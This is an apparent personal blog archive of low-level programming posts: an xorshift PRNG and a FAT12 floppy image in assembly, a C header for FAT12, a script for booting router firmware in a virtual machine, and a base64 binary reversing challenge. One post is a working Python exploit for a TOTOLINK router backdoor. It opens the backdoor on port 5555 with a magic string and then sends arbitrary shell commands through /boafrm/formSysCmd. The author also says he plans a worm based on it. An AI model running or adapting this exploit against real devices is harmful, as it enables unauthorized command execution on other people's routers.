Sunday, June 26, 2016

George Marsaglia's xorshift PRNG lightweight implementation

;////////////////////////////////////////////////////////////////////////////////
;// THE SCOTCH-WARE LICENSE (Revision 0):
;// <aaronryool/gmail.com> wrote this file. As long as you retain this notice you
;// can do whatever you want with this stuff. If we meet some day, and you think
;// this stuff is worth it, you can buy me a shot of scotch in return
;////////////////////////////////////////////////////////////////////////////////

; George Marsaglia's xorshift PRNG
; t = r10
prng_state:
w: dq 99999
x: dq 100
y: dq 35
z: dq 27365

prng_seed:
rdtsc
mov qword [x], rax
ret

prng:
; t = x
mov r10, qword [x]
; t ^= t << 11
mov rax, r10
shl rax, 11
xor r10, rax
; t ^= t >> 8
mov rax, r10
shr rax, 8
xor r10, rax
; x = y, y = z, z = w
push qword [w]
push qword [y]
push qword [z]
pop qword [y]
pop qword [x]
pop qword [z]
; w ^= w >> 19
mov rax, [w]
shr rax, 19
xor qword [w], rax
; w ^= t
xor qword [w], r10

; return w
mov rax, qword [w]
ret

Sunday, December 20, 2015

Better visualization of data formats using assembly POC's to better implement them in C

Are you tired of staring at hex dumps, white papers and manual pages? Want to feel like you truly know how a data type like a file format, or a disk partition LOOKS like. Well I can't help you with the manual pages and white papers, (https://staff.washington.edu/dittrich/misc/fatgen103.pdf, http://www.eit.lth.se/fileadmin/eit/courses/eitn50/Projekt1/FAT12Description.pdf) but here is a great example of implementing a fat12 floppy image in assembly.

;////////////////////////////////////////////////////////////////////////////////
;// THE SCOTCH-WARE LICENSE (Revision 0):
;// <aaronryool@gmail.com> wrote this file. As long as you retain this notice you
;// can do whatever you want with this stuff. If we meet some day, and you think
;// this stuff is worth it, you can buy me a shot of scotch in return
;////////////////////////////////////////////////////////////////////////////////
; This assembles to a floppy disk image
[bits 16]
[org 0x7C00]

;;;;;;;;;;;;;;;;;;;;;;;;
; BIOS Parameter Block
jmp short boot_code
nop
db "MadOSv01"          ; OEM identifier
dw 512                 ; Bytes per sector
db 1                   ; sectors per cluster
dw 1                   ; reserved sectors
db 1                   ; number of fats
dw 112                 ; directory entries
dw 1280                ; logical sectors
db 0xFB                ; media descriptor type
dw 1                   ; sectors per fat, fat12/fat16 only
dw 18                  ; sectors per track
dw 2                   ; number of heads / sides on media
dd 0                   ; number of hidden sectors
dd 0                   ; Large amount of sector on media. This field is set if there are more than 65535 sectors in the volume.

; Extended Boot Record
db 0                   ; drive number
db 0                   ; reserved / NT flags (maybe use for MadOS, More research needed)
db 0x29                ; signiture, 0x28 or 0x29 for fat12 /fat16
dd 0x1337              ; volume serial number
db "MadOS Disk "       ; volume label
db "FAT12   "          ; identifier string

; Boot code
boot_code:
    xor ax, ax
    mov ds, ax
    mov es, ax
    mov ss, ax
    mov sp, boot_code_end + (1024 * 4)

    lea si, [message]
    call print_string
    jmp $

print_string:
    lodsb
    or al, al
    jz done
    mov ah, 0x0E
    int 0x10
    jmp print_string
done:
   ret

message:
    db "MadOS disk not bootable...", 0xd, 0xa

;dw 0xAA55 ; bootable partition signiture, uncomment to make the floppy boot
boot_code_end:
times 450 - (boot_code_end - boot_code) db 0

;;;;;;;;;;;;;;;;;;;;;
; DATA AREA START

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; FAT entries
; an entry is 3 nibbles:
;   000         -> unused
;   0xFF0-0xFF6 -> reserved cluster
;   0xFF7       -> bad cluster
;   0xFF8-0xFFF -> last cluster in file
;   ***         -> next data cluster

fat1:
    db 0xFB, 0xFF, 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0xF0, 0xFF, 0x00, 0x00
    ;    0     1     2     3     4     5     6     7     8     9     10    11    12    13
    times 512 - ($ - fat1) db 0
fat2:
    times 512 - ($ - fat2) db 0
;;;;;;;;;;;;;;;;;;
; root directory
root:
    folder:
        db "folder     "
        db 0x20 | 0x10         ; attributes: a, d
        dw 0                   ; reserved
        dw 0xA496              ; creation time (h,m,s)
        dw 0x4793              ; creation date
        dw 0x4793              ; access date
        dw 0                   ; high order bits of first cluster address, 0 on fat12
        dw 0xA496              ; write time (h,m,s)
        dw 0x4793              ; write date
        dw 3                   ; low order bits of first cluster address
        dd 64                  ; file size

    file:
        db "file       "
        db 0x20                ; attributes: a
        dw 0                   ; reserved
        dw 0xA496              ; creation time (h,m,s)
        dw 0x4793              ; creation date
        dw 0x4793              ; access date
        dw 0                   ; high order bits of first cluster address, 0 on fat12
        dw 0xA496              ; write time (h,m,s)
        dw 0x4793              ; write date
        dw 2                   ; low order bits of first cluster address
        dd 40                  ; file size

; padd out the rest of the root directory
times (512 * 4) - ($ - root) db 0


times 1024 db 0     ; first two data blocks are reserved

; 2 file
file_data:
    db "This is a file in the root directory :D", 0xa
; cluster padding
times 512 - ($ - file_data) db 0

; 3 folder
folder_data:
    file2:
        db "file2      "
        db 0x20                ; attributes: a
        dw 0                   ; reserved
        dw 0xA496              ; creation time (h,m,s)
        dw 0x4793              ; creation date
        dw 0x4793              ; access date
        dw 0                   ; high order bits of first cluster address, 0 on fat12
        dw 0xA496              ; write time (h,m,s)
        dw 0x4793              ; write date
        dw 4                   ; low order bits of first cluster address
        dd 34                  ; file size
    folder2:
        db "folder2    "
        db 0x20 | 0x10         ; attributes: a, d
        dw 0                   ; reserved
        dw 0xA496              ; creation time (h,m,s)
        dw 0x4793              ; creation date
        dw 0x4793              ; access date
        dw 0                   ; high order bits of first cluster address, 0 on fat12
        dw 0xA496              ; write time (h,m,s)
        dw 0x4793              ; write date
        dw 5                   ; low order bits of first cluster address
        dd 32                  ; file size
; cluster padding
times 512 - ($ - file2) db 0

; 4 file2
file2_data:
    db "This is a file in a sub directory", 0xa
; cluster padding
times 512 - ($ - file2_data) db 0


; 5 folder2_data
folder2_data:
    file3:
        db "file3      "
        db 0x20                ; attributes: a
        dw 0                   ; reserved
        dw 0xA496              ; creation time (h,m,s)
        dw 0x4793              ; creation date
        dw 0x4793              ; access date
        dw 0                   ; high order bits of first cluster address, 0 on fat12
        dw 0xA496              ; write time (h,m,s)
        dw 0x4793              ; write date
        dw 6                   ; low order bits of first cluster address
        dd 1024                ; file size
; cluster padding
times 512 - ($ - folder2_data) db 0

; 6 file3_data
file3_data:
times 512 - ($ - file3_data) db 'A'

; 7 file3_data2
file3_data2:
times 512 - ($ - file3_data2) db 'B'




;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; padd out the rest of the floppy
times ((1024 * 1024) + 461373) - ($ - $$) db 0

So from this exploration, we can construct the following header file as a start:

////////////////////////////////////////////////////////////////////////////////
// THE SCOTCH-WARE LICENSE (Revision 0):
//  wrote this file. As long as you retain this notice you
// can do whatever you want with this stuff. If we meet some day, and you think
// this stuff is worth it, you can buy me a shot of scotch in return
////////////////////////////////////////////////////////////////////////////////

#ifndef __FAT_H__
#define __FAT_H__

#include <stdint.h>
#include <machine.h>

typedef struct bpb {
    char jmp_code[3];
    char oem[8];
    uint16_t bytes_per_sector;
    uint8_t sectors_per_cluster;
    uint16_t reserved_sectors;
    uint8_t fats;
    uint16_t dir_entries;
    uint16_t logical_sectors;
    uint8_t media_type;
    uint16_t sectors_per_fat;
    uint16_t sectors_per_track;
    uint16_t heads;
    uint32_t hidden_sectors;
    uint32_t large_sectors;
} bpb_t;

typedef struct ebr {
    uint8_t drive;
    uint8_t rflags;
    uint8_t signiture;
    uint32_t serial;
    char label[11];
    char identifier[8];
    char boot_code[448];
    uint16_t boot_sign;
} ebr_t;

typedef struct fat12_partition_info {
// see fat12.s for an implementation
// in assembly for visualization :D

    bpb_t bpb;
    ebr_t ebr;
    char data[];
} fat12_partition_info_t;

typedef struct fat_dir_entry {
    char name[11];
    uint8_t attributes;
    uint16_t reserved;
    uint16_t creation_time;
    uint16_t creation_date;
    uint16_t access_date;
    uint16_t caddr_high;
    uint16_t write_time;
    uint16_t write_date;
    uint16_t caddr_low;
    uint32_t size;
} fat_dir_entry_t;

const uint8_t fat12_format_stub[122] = {
  0xEB, 0x3C, 0x90, 0x4D, 0x61, 0x64, 0x4F, 0x53, 0x76, 0x30,
  0x31, 0x00, 0x02, 0x01, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x37,
  0x13, 0x00, 0x00, 0x4D, 0x61, 0x64, 0x4F, 0x53, 0x20, 0x44,
  0x69, 0x73, 0x6B, 0x20, 0x46, 0x41, 0x54, 0x31, 0x32, 0x20,
  0x20, 0x20, 0x31, 0xC0, 0x8E, 0xD8, 0x8E, 0xC0, 0x8E, 0xD0,
  0xBC, 0x7A, 0x8C, 0x8D, 0x36, 0x5E, 0x7C, 0xE8, 0x02, 0x00,
  0xEB, 0xFE, 0xAC, 0x08, 0xC0, 0x74, 0x06, 0xB4, 0x0E, 0xCD,
  0x10, 0xEB, 0xF5, 0xC3, 0x4D, 0x61, 0x64, 0x4F, 0x53, 0x20,
  0x64, 0x69, 0x73, 0x6B, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x62,
  0x6F, 0x6F, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x2E, 0x2E, 0x2E,
  0x0D, 0x0A
};


/////////////////////////////////////////////
// FAT12 entries                           //
/////////////////////////////////////////////
// an entry is 3 nibbles:                  //
//   000         -> unused                 //
//   0xFF0-0xFF6 -> reserved cluster       //
//   0xFF7       -> bad cluster            //
//   0xFF8-0xFFF -> last cluster in file   //
//   ***         -> next data cluster      //
/////////////////////////////////////////////

typedef char fat12_t[];
#define GET_FAT12_ENTRY(n, fat)\
    (n % 2 == 0 ? fat[((3 * n) / 2)] | (fat[1 + (3 * n) / 2] & 0x0F) << 8 : \
    (fat[(3 * n) / 2] & 0xF0) >> 4 | fat[1 + (3 * n) / 2] << 4)


#endif


Wednesday, December 16, 2015

Flat Memory Manager example


Saturday, November 28, 2015

Exploring cellular automata with conway's game of life as a foundation


Friday, August 14, 2015

simulating router firmware for live demonstration, more advanced RE, or just giggles

So I needed to put together a live demonstration for a presentation I'm doing soon on the attack surface of embedded devices, and why the industry seems to want their devices vulnerable. I have never needed to boot a firmware image in such a controlled manner before, and decided this would be something nice to share with others so they can just get this kind of thing up and running without hassle for their warped projects. So without further ado, lets get started.

Before you set this up, you will need to set up a basic virtual machine with the GNU/Linux distribution of your choice. You will also need to have already extracted the firmware image into a folder called squashfs-root unless you want to do the smart thing, and apply these instructions to your own personal setup.

First open the /etc/inittab for your firmware image. locate the line for sysinit and take note of what it has there.

::sysinit:/etc/rcS
::respawn:/sbin/getty 115200 ttyS1
::respawn:/bin/sh 
::restart:/sbin/init
::shutdown:/bin/umount -a -r

Ok, copy the squashfs-root folder to the root directory of the virtual machines disk image, then copy the following script into the root directory of the image as well after modifying it to meet the needs of your particular firmware image:

#!/bin/bash

export FIRMROOT="/squashfs-root"
export SYSINIT="/etc/rcS"

ifconfig eth0 10.0.3.10

# bind mount the important things so that this acts like a real linux system
mount --bind /tmp $FIRMROOT/tmp
mount --bind /sys $FIRMROOT/sys
mount --bind /proc $FIRMROOT/proc
mount --bind /dev $FIRMROOT/dev

# chroot into the firmware image, and launch the correct sysinit script for your firmware.
chroot $FIRMROOT /bin/sh -c $SYSINIT

And thats how its done. Here is a screenshot of the web login for this router running in VM:

And here is a screenshot of the router VM being exploited:

Thursday, August 13, 2015

TOTOLINK backdoor exploitation POC

The following is a simple router exploit POC for giggles, based on the following vulnerability. It would appear this doesn't even have a CVE, nor has the manufacturer been notified. I will be notifying the manufacturer and will also be writing another worm POC based on this exploit lol.
#!/usr/bin/env python
# ------------------------------------------------------------------------------
# THE SCOTCH-WARE LICENSE (Revision 43):
# <aaronryool@gmail.com> wrote this file. As long as you retain this notice you
# can do whatever you want with this stuff. If we meet some day, and you think
# this stuff is worth it, you can buy me a shot of scotch in return
# ------------------------------------------------------------------------------
import socket, sys, urllib

if len(sys.argv) < 2:
    print("Usage: %s <ip> <command string>...\x1b[0m" % sys.argv[0])
    exit(1)

commandstr = urllib.quote_plus(" ".join(sys.argv[2:]))

def check_activate_backdoor():
    try:
        vulnerable = "hel,xasf"     # this is both the check, and the command to open the management interface to the internet
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1], 5555))
        s.send(vulnerable)
        ret = True if s.recv(len(vulnerable)) == vulnerable else False
        s.close()
    except:
        print("\x1b[031mThis just happened: \x1b[037m%s\x1b[0m" % sys.exc_info()[0])
        exit(2)
    return ret

def close_backdoor():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1], 5555))
        s.send("oki,xasf")
        s.close()
    except:
        print("\x1b[031mThis just happened: \x1b[037m%s\x1b[0m" % sys.exc_info()[0])
        exit(2)
    return

if check_activate_backdoor():
    print("\x1b[032mThis device appears to be vulnerable\nbackdoor activated\x1b[0m")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1], 80))
        s.send("POST /boafrm/formSysCmd HTTP/1.1\r\n\r\nsysCmd=%s&apply=Apply&msg=\r\n\r\n" % commandstr)
        
        print("\x1b[032mCommands sent\x1b[0m")
        print("\x1b[032mResponse: \n%s\x1b[0m" % s.recv(512))
        s.close()
    except:
        print("\x1b[031mThis just happened: \x1b[037m%s\x1b[0m" % sys.exc_info()[0])
        exit(2)
    close_backdoor()
    exit(0)
else:
    print("\x1b[032mThis device isn't vulnerable lol\x1b[0m")
    exit(1)


Wednesday, August 12, 2015

I have a new challenge for you ;) good luck

Below is a challenge, figure it out lol. Email answers to: aaronryool@gmail.com for shout outs



f0VMRki7Z4lotpbWTn/DAAIAPgABAAAAQIAECAAAAADyAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB
AAAAAAAAAFhIg/gCfDFYWGhQgAQI67RIuUiLCEgx2cMAUUi5LRSQkJCQkJBRSLlIuiDmB9Lao1H/
1Egx0XQ4aIQAAAC6YOb/3Lhldm9MSMHgIEg1ZXRhSDQPW0g1AAA5R0jB4iCA6zxIMdAw3EiJBQAA
AABIMcBqAWoBWF9IjTQlxYAECGotWg8F67NZQVkhISEgVGhhdCB0aGluZyB5b3UgZGlkLCB0ZWxs
IG1lIGFib3V0IGl0LgoBAAAABwAAAAAAAAAAAAAAAIAECAAAAAAAgAQIAAAAACoBAAAAAAAAKgEA
AAAAAAAAEAAAAAAAAA==